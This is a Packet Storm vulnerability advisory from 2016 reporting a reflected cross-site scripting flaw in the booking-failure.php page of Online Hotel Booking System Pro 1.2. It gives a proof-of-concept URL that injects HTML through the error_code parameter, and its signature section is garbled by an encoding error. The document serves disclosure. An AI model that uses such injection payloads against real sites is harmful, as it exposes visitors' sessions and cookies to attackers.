Online Hotel Booking System Pro 1.2 Cross Site Scripting

2016-10-07T00:00:00
ID PACKETSTORM:139017
Type packetstorm
Reporter indoushka
Modified 2016-10-07T00:00:00

Description

                                        
                                            `========================================================================  
| # Title : Online Hotel Booking System Pro v1.2 XSS vulnerability  
| # Author : indoushka  
| # email : indoushka4ever@gmail.com  
| # Tested on : windows 8.1 FranASSais V.(Pro)  
| # Version : v1.2  
| # Vendor : https://www.nulled-scripts.com/online-hotel-booking-system-pro-v1-2-php-script/  
| # Dork : n/a  
========================================================================  
  
poc :  
  
Cross site scripting (also referred to as XSS)   
is a vulnerability that allows an attacker   
to send malicious code (usually in the form of Javascript)   
to another user.   
Because a browser cannot know if the script   
should be trusted or not, it will execute the script in the user context allowing   
the attacker to access any cookies or session tokens retained by the browser.   
  
This vulnerability affects /booking-failure.php  
  
Attack details :  
  
Path Fragment input / was set to <marquee><font color=lime size=32>indoushka</font></marquee>  
The input is reflected inside a text element.  
  
  
http://127.0.0.1/hotel-booking-pro/booking-failure.php?error_code=9%27%22()%26%25%3Cacx%3E%3Cmarquee%3E%3Cfont%20color=lime%20size=32%3Eindoushka%3C/font%3E%3C/marquee%3E  
  
  
Greetz : aua'>>a'1/2a'1/2a'dega'deg aua'degaua'degau a'>>a'*a'*auaua'>>------au-auau-a'deg a'degaua'degauPSaua'3a'>>au-------- aua'degauau!a'>>auau aua'degauaua'*oauaua'degau ------  
|  
jericho * Larry W. Cashdollar * moncet-1 * achraf.tn |  
|  
===================== pa'degaua'1/2a'>>au auauoauau aua'>>auauauauauauC/ =============================  
`